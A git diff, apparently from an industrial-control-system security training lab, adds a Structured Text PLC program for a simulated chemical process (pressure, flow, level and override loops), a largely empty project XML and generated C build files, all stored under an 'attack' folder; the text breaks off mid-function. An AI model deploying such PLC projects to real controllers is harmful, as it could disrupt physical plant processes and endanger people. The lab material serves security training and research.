100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void 